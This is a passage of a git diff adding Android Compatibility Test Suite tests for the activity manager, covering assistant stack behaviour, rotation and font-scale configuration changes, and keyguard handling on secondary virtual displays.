+        if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
+        // Launch a pinned stack task
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertContainsStack("Must contain pinned stack.",
+                WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+
+        // Dock a task
+        launchActivity(TEST_ACTIVITY);
+        launchActivityInDockStack(DOCKED_ACTIVITY);
+        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertContainsStack("Must contain docked stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+        // Enable the assistant and launch an assistant activity, ensure it is on top
+        enableAssistant();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
+        mAmWmState.waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+        assertAssistantStackExists();
+
+        mAmWmState.assertFrontStack("Pinned stack should be on top.",
+                WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertFocusedStack("Assistant stack should be focused.",
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+
+        disableAssistant();
+    }
+
+    @Test
+    @Presubmit
+    public void testAssistantStackLaunchNewTask() throws Exception {
+        enableAssistant();
+        assertAssistantStackCanLaunchAndReturnFromNewTask();
+        disableAssistant();
+    }
+
+    @Test
+    @Presubmit
+    public void testAssistantStackLaunchNewTaskWithDockedStack() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) return;
+        // Dock a task
+        launchActivity(TEST_ACTIVITY);
+        launchActivityInDockStack(DOCKED_ACTIVITY);
+        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertContainsStack("Must contain docked stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+        enableAssistant();
+        assertAssistantStackCanLaunchAndReturnFromNewTask();
+        disableAssistant();
+    }
+
+    private void assertAssistantStackCanLaunchAndReturnFromNewTask() throws Exception {
+        final boolean inSplitScreenMode = mAmWmState.getAmState().containsStack(
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+        // Enable the assistant and launch an assistant activity which will launch a new task
+        enableAssistant();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_LAUNCH_NEW_TASK, TEST_ACTIVITY);
+        disableAssistant();
+
+        final int expectedWindowingMode = inSplitScreenMode
+                ? WINDOWING_MODE_SPLIT_SCREEN_SECONDARY
+                : WINDOWING_MODE_FULLSCREEN;
+        // Ensure that the fullscreen stack is on top and the test activity is now visible
+        mAmWmState.waitForValidState(TEST_ACTIVITY, expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
+        mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
+                expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
+                expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+
+        // Now, tell it to finish itself and ensure that the assistant stack is brought back forward
+        executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH_SELF);
+        mAmWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+        mAmWmState.assertFrontStackActivityType(
+                "Assistant stack should be on top.", ACTIVITY_TYPE_ASSISTANT);
+        mAmWmState.assertFocusedStack("Assistant stack should be focused.",
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+    }
+
+    @Test
+    @Presubmit
+    public void testAssistantStackFinishToPreviousApp() throws Exception {
+        // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
+        // the fullscreen activity is still visible and on top after the assistant activity finishes
+        launchActivity(TEST_ACTIVITY);
+        enableAssistant();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_FINISH_SELF, "true");
+        disableAssistant();
+        mAmWmState.waitForValidState(TEST_ACTIVITY,
+                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.waitForActivityState(TEST_ACTIVITY, STATE_RESUMED);
+        mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
+        mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
+                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
+                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+    }
+
+    @Test
+    @Presubmit
+    public void testDisallowEnterPiPFromAssistantStack() throws Exception {
+        enableAssistant();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_ENTER_PIP, "true");
+        disableAssistant();
+        mAmWmState.waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+        mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+                WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+    }
+
+    // TODO(b/69573940): Add back to presubmit
+    @Test
+    public void testTranslucentAssistantActivityStackVisibility() throws Exception {
+        enableAssistant();
+        // Go home, launch the assistant and check to see that home is visible
+        removeStacksInWindowingModes(WINDOWING_MODE_FULLSCREEN,
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        launchHomeActivity();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+        mAmWmState.waitForValidStateWithActivityType(
+                TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+        assertAssistantStackExists();
+        mAmWmState.waitForHomeActivityVisible();
+        if (hasHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true);
+        }
+
+        // Launch a fullscreen app and then launch the assistant and check to see that it is
+        // also visible
+        removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+        launchActivity(TEST_ACTIVITY);
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+        mAmWmState.waitForValidStateWithActivityType(
+                TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+        assertAssistantStackExists();
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+        // Go home, launch assistant, launch app into fullscreen with activity present, and go back.
+        // Ensure home is visible.
+        removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+        launchHomeActivity();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_IS_TRANSLUCENT, String.valueOf(true), EXTRA_LAUNCH_NEW_TASK,
+                TEST_ACTIVITY);
+        mAmWmState.waitForValidState(TEST_ACTIVITY,
+                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertHomeActivityVisible(false);
+        pressBackButton();
+        mAmWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+        assertAssistantStackExists();
+        mAmWmState.waitForHomeActivityVisible();
+        if (hasHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true);
+        }
+
+        // Launch a fullscreen and docked app and then launch the assistant and check to see that it
+        // is also visible
+        if (supportsSplitScreenMultiWindow()) {
+            removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+            launchActivityInDockStack(DOCKED_ACTIVITY);
+            launchActivity(TEST_ACTIVITY);
+            mAmWmState.assertContainsStack("Must contain docked stack.",
+                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+            launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                    EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+            mAmWmState.waitForValidStateWithActivityType(
+                    TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+            assertAssistantStackExists();
+            mAmWmState.assertVisibility(DOCKED_ACTIVITY, true);
+            mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+        }
+        disableAssistant();
+    }
+
+    @Test
+    @Presubmit
+    public void testLaunchIntoSameTask() throws Exception {
+        enableAssistant();
+
+        // Launch the assistant
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
+        assertAssistantStackExists();
+        mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
+        mAmWmState.assertFocusedStack("Expected assistant stack focused",
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+        assertEquals(1, mAmWmState.getAmState().getStackByActivityType(
+                ACTIVITY_TYPE_ASSISTANT).getTasks().size());
+        final int taskId = mAmWmState.getAmState().getTaskByActivityName(ASSISTANT_ACTIVITY)
+                .mTaskId;
+
+        // Launch a new fullscreen activity
+        // Using Animation Test Activity because it is opaque on all devices.
+        launchActivity(ANIMATION_TEST_ACTIVITY);
+        mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, false);
+
+        // Launch the assistant again and ensure that it goes into the same task
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
+        assertAssistantStackExists();
+        mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
+        mAmWmState.assertFocusedStack("Expected assistant stack focused",
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+        assertEquals(1, mAmWmState.getAmState().getStackByActivityType(
+                ACTIVITY_TYPE_ASSISTANT).getTasks().size());
+        assertEquals(taskId,
+                mAmWmState.getAmState().getTaskByActivityName(ASSISTANT_ACTIVITY).mTaskId);
+
+        disableAssistant();
+    }
+
+    @Test
+    public void testPinnedStackWithAssistant() throws Exception {
+        if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
+
+        enableAssistant();
+
+        // Launch a fullscreen activity and a PIP activity, then launch the assistant, and ensure
+        // that the test activity is still visible
+        launchActivity(TEST_ACTIVITY);
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+        mAmWmState.waitForValidStateWithActivityType(
+                TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+        assertAssistantStackExists();
+        mAmWmState.assertVisibility(TRANSLUCENT_ASSISTANT_ACTIVITY, true);
+        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+        disableAssistant();
+    }
+
+    /**
+     * Asserts that the assistant stack exists.
+     */
+    private void assertAssistantStackExists() throws Exception {
+        mAmWmState.assertContainsStack("Must contain assistant stack.",
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+    }
+
+    /**
+     * Sets the system voice interaction service.
+     */
+    private void enableAssistant() throws Exception {
+        executeShellCommand("settings put secure voice_interaction_service " +
+                getActivityComponentName(VOICE_INTERACTION_SERVICE));
+    }
+
+    /**
+     * Resets the system voice interaction service.
+     */
+    private void disableAssistant() throws Exception {
+        executeShellCommand("settings delete secure voice_interaction_service " +
+                getActivityComponentName(VOICE_INTERACTION_SERVICE));
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
new file mode 100644
index 0000000..d2c97c5
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerConfigChangeTests.java
@@ -0,0 +1,247 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerConfigChangeTests
+ */
+public class ActivityManagerConfigChangeTests extends ActivityManagerTestBase {
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
+
+    private static final String FONT_SCALE_ACTIVITY_NAME = "FontScaleActivity";
+    private static final String FONT_SCALE_NO_RELAUNCH_ACTIVITY_NAME =
+            "FontScaleNoRelaunchActivity";
+
+    private static final float EXPECTED_FONT_SIZE_SP = 10.0f;
+
+    @Test
+    public void testRotation90Relaunch() throws Exception{
+        // Should relaunch on every rotation and receive no onConfigurationChanged()
+        testRotation(TEST_ACTIVITY_NAME, 1, 1, 0);
+    }
+
+    @Test
+    public void testRotation90NoRelaunch() throws Exception {
+        // Should receive onConfigurationChanged() on every rotation and no relaunch
+        testRotation(NO_RELAUNCH_ACTIVITY_NAME, 1, 0, 1);
+    }
+
+    @Test
+    public void testRotation180Relaunch() throws Exception {
+        // Should receive nothing
+        testRotation(TEST_ACTIVITY_NAME, 2, 0, 0);
+    }
+
+    @Test
+    public void testRotation180NoRelaunch() throws Exception {
+        // Should receive nothing
+        testRotation(NO_RELAUNCH_ACTIVITY_NAME, 2, 0, 0);
+    }
+
+    @Presubmit
+    @Test
+    public void testChangeFontScaleRelaunch() throws Exception {
+        // Should relaunch and receive no onConfigurationChanged()
+        testChangeFontScale(FONT_SCALE_ACTIVITY_NAME, true /* relaunch */);
+    }
+
+    @Presubmit
+    @Test
+    public void testChangeFontScaleNoRelaunch() throws Exception {
+        // Should receive onConfigurationChanged() and no relaunch
+        testChangeFontScale(FONT_SCALE_NO_RELAUNCH_ACTIVITY_NAME, false /* relaunch */);
+    }
+
+    private void testRotation(
+            String activityName, int rotationStep, int numRelaunch, int numConfigChange)
+                    throws Exception {
+        launchActivity(activityName);
+
+        final String[] waitForActivitiesVisible = new String[] {activityName};
+        mAmWmState.computeState(waitForActivitiesVisible);
+
+        final int initialRotation = 4 - rotationStep;
+        setDeviceRotation(initialRotation);
+        mAmWmState.computeState(waitForActivitiesVisible);
+        final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
+                activityName).mStackId;
+        final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
+        final int newDeviceRotation = getDeviceRotation(displayId);
+        if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
+            logE("Got an invalid device rotation value. "
+                    + "Continuing the test despite of that, but it is likely to fail.");
+        } else if (newDeviceRotation != initialRotation) {
+            log("This device doesn't support user rotation "
+                    + "mode. Not continuing the rotation checks.");
+            return;
+        }
+
+        for (int rotation = 0; rotation < 4; rotation += rotationStep) {
+            final String logSeparator = clearLogcat();
+            setDeviceRotation(rotation);
+            mAmWmState.computeState(waitForActivitiesVisible);
+            assertRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange, logSeparator);
+        }
+    }
+
+    private void testChangeFontScale(
+            String activityName, boolean relaunch) throws Exception {
+        launchActivity(activityName);
+        final String[] waitForActivitiesVisible = new String[] {activityName};
+        mAmWmState.computeState(waitForActivitiesVisible);
+
+        setFontScale(1.0f);
+        mAmWmState.computeState(waitForActivitiesVisible);
+
+        final int densityDpi = getGlobalDensityDpi();
+
+        for (float fontScale = 0.85f; fontScale <= 1.3f; fontScale += 0.15f) {
+            final String logSeparator = clearLogcat();
+            setFontScale(fontScale);
+            mAmWmState.computeState(waitForActivitiesVisible);
+            assertRelaunchOrConfigChanged(activityName, relaunch ? 1 : 0, relaunch ? 0 : 1,
+                    logSeparator);
+
+            // Verify that the display metrics are updated, and therefore the text size is also
+            // updated accordingly.
+            assertExpectedFontPixelSize(activityName,
+                    scaledPixelsToPixels(EXPECTED_FONT_SIZE_SP, fontScale, densityDpi),
+                    logSeparator);
+        }
+    }
+
+    /**
+     * Test updating application info when app is running. An activity with matching package name
+     * must be recreated and its asset sequence number must be incremented.
+     */
+    @Test
+    public void testUpdateApplicationInfo() throws Exception {
+        final String firstLogSeparator = clearLogcat();
+
+        // Launch an activity that prints applied config.
+        launchActivity(TEST_ACTIVITY_NAME);
+        final int assetSeq = readAssetSeqNumber(TEST_ACTIVITY_NAME, firstLogSeparator);
+
+        final String logSeparator = clearLogcat();
+        // Update package info.
+        executeShellCommand("am update-appinfo all " + componentName);
+        mAmWmState.waitForWithAmState((amState) -> {
+            // Wait for activity to be resumed and asset seq number to be updated.
+            try {
+                return readAssetSeqNumber(TEST_ACTIVITY_NAME, logSeparator) == assetSeq + 1
+                        && amState.hasActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
+            } catch (Exception e) {
+                logE("Error waiting for valid state: " + e.getMessage());
+                return false;
+            }
+        }, "Waiting asset sequence number to be updated and for activity to be resumed.");
+
+        // Check if activity is relaunched and asset seq is updated.
+        assertRelaunchOrConfigChanged(TEST_ACTIVITY_NAME, 1 /* numRelaunch */,
+                0 /* numConfigChange */, logSeparator);
+        final int newAssetSeq = readAssetSeqNumber(TEST_ACTIVITY_NAME, logSeparator);
+        assertEquals("Asset sequence number must be incremented.", assetSeq + 1, newAssetSeq);
+    }
+
+    private static final Pattern sConfigurationPattern = Pattern.compile(
+            "(.+): Configuration: \\{(.*) as.(\\d+)(.*)\\}");
+
+    /** Read asset sequence number in last applied configuration from logs. */
+    private int readAssetSeqNumber(String activityName, String logSeparator) throws Exception {
+        final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+        for (int i = lines.length - 1; i >= 0; i--) {
+            final String line = lines[i].trim();
+            final Matcher matcher = sConfigurationPattern.matcher(line);
+            if (matcher.matches()) {
+                final String assetSeqNumber = matcher.group(3);
+                try {
+                    return Integer.valueOf(assetSeqNumber);
+                } catch (NumberFormatException e) {
+                    // Ignore, asset seq number is not printed when not set.
+                }
+            }
+        }
+        return 0;
+    }
+
+    // Calculate the scaled pixel size just like the device is supposed to.
+    private static int scaledPixelsToPixels(float sp, float fontScale, int densityDpi) {
+        final int DEFAULT_DENSITY = 160;
+        float f = densityDpi * (1.0f / DEFAULT_DENSITY) * fontScale * sp;
+        return (int) ((f >= 0) ? (f + 0.5f) : (f - 0.5f));
+    }
+
+    private static Pattern sDeviceDensityPattern =
+            Pattern.compile(".*?-(l|m|tv|h|xh|xxh|xxxh|\\d+)dpi-.*?");
+
+    private int getGlobalDensityDpi() throws Exception {
+        final String result = executeShellCommand("am get-config");
+        final String[] lines = result.split("\n");
+        if (lines.length < 1) {
+            throw new IllegalStateException("Invalid config returned from device: " + result);
+        }
+
+        final Matcher matcher = sDeviceDensityPattern.matcher(lines[0]);
+        if (!matcher.matches()) {
+            throw new IllegalStateException("Invalid config returned from device: " + lines[0]);
+        }
+        switch (matcher.group(1)) {
+            case "l": return 120;
+            case "m": return 160;
+            case "tv": return 213;
+            case "h": return 240;
+            case "xh": return 320;
+            case "xxh": return 480;
+            case "xxxh": return 640;
+        }
+        return Integer.parseInt(matcher.group(1));
+    }
+
+    private static final Pattern sFontSizePattern = Pattern.compile("^(.+): fontPixelSize=(.+)$");
+
+    /** Read the font size in the last log line. */
+    private void assertExpectedFontPixelSize(String activityName, int fontPixelSize,
+            String logSeparator) throws Exception {
+        final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+        for (int i = lines.length - 1; i >= 0; i--) {
+            final String line = lines[i].trim();
+            final Matcher matcher = sFontSizePattern.matcher(line);
+            if (matcher.matches()) {
+                assertEquals("Expected font pixel size does not match", fontPixelSize,
+                        Integer.parseInt(matcher.group(2)));
+                return;
+            }
+        }
+        fail("No fontPixelSize reported from activity " + activityName);
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayKeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayKeyguardTests.java
new file mode 100644
index 0000000..a50aa83
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayKeyguardTests.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.server.am;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Display tests that require a keyguard.
+ *
+ * <p>Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerDisplayKeyguardTests
+ */
+public class ActivityManagerDisplayKeyguardTests extends ActivityManagerDisplayTestBase {
+    private static final String DISMISS_KEYGUARD_ACTIVITY = "DismissKeyguardActivity";
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        setLockDisabled(false);
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        tearDownLockCredentials();
+    }
+
+    /**
+     * Tests whether a FLAG_DISMISS_KEYGUARD activity on a secondary display is visible (for an
+     * insecure keyguard).
+     */
+    @Test
+    public void testDismissKeyguardActivity_secondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay() || !isHandheld()) {
+            return;
+        }
+
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        launchActivityOnDisplay(DISMISS_KEYGUARD_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayLockedKeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayLockedKeyguardTests.java
new file mode 100644
index 0000000..afad769
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayLockedKeyguardTests.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.ActivityManagerState.STATE_STOPPED;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Display tests that require a locked keyguard.
+ *
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerDisplayLockedKeyguardTests
+ */
+public class ActivityManagerDisplayLockedKeyguardTests extends ActivityManagerDisplayTestBase {
+
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
+    private static final String DISMISS_KEYGUARD_ACTIVITY = "DismissKeyguardActivity";
+    private static final String SHOW_WHEN_LOCKED_ACTIVITY = "ShowWhenLockedActivity";
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        setLockCredential();
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        tearDownLockCredentials();
+        super.tearDown();
+    }
+
+    /**
+     * Test that virtual display content is hidden when device is locked.
+     */
+    @Test
+    public void testVirtualDisplayHidesContentWhenLocked() throws Exception {
+        if (!supportsMultiDisplay() || !isHandheld()) { return; }
+
+        // Create new usual virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+
+        // Lock the device.
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_STOPPED);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false /* visible */);
+
+        // Unlock and check if visibility is back.
+        unlockDeviceWithCredential();
+        mAmWmState.waitForKeyguardGone();
+        mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+    }
+
+    /**
+     * Tests whether a FLAG_DISMISS_KEYGUARD activity on a secondary display dismisses the keyguard.
+     */
+    @Test
+    public void testDismissKeyguard_secondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay() || !isHandheld()) {
+            return;
+        }
+
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        launchActivityOnDisplay(DISMISS_KEYGUARD_ACTIVITY, newDisplay.mDisplayId);
+        enterAndConfirmLockCredential();
+        mAmWmState.waitForKeyguardGone();
+        mAmWmState.assertKeyguardGone();
+        mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
+    }
+
+    @Test
+    public void testDismissKeyguard_whileOccluded_secondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay() || !isHandheld()) {
+            return;
+        }
+
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded();
+        mAmWmState.assertKeyguardShowingAndNotOccluded();
+        launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+        mAmWmState.computeState(
+                new WaitForValidActivityState.Builder(SHOW_WHEN_LOCKED_ACTIVITY).build());
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+        launchActivityOnDisplay(DISMISS_KEYGUARD_ACTIVITY, newDisplay.mDisplayId);
+        enterAndConfirmLockCredential();
+        mAmWmState.waitForKeyguardGone();
+        mAmWmState.assertKeyguardGone();
+        mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
+        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java
new file mode 100644
index 0000000..ff96494
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java
@@ -0,0 +1,456 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.content.pm.PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS;
+import static android.server.am.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.am.StateLogger.log;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.After;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Base class for ActivityManager display tests.
+ *
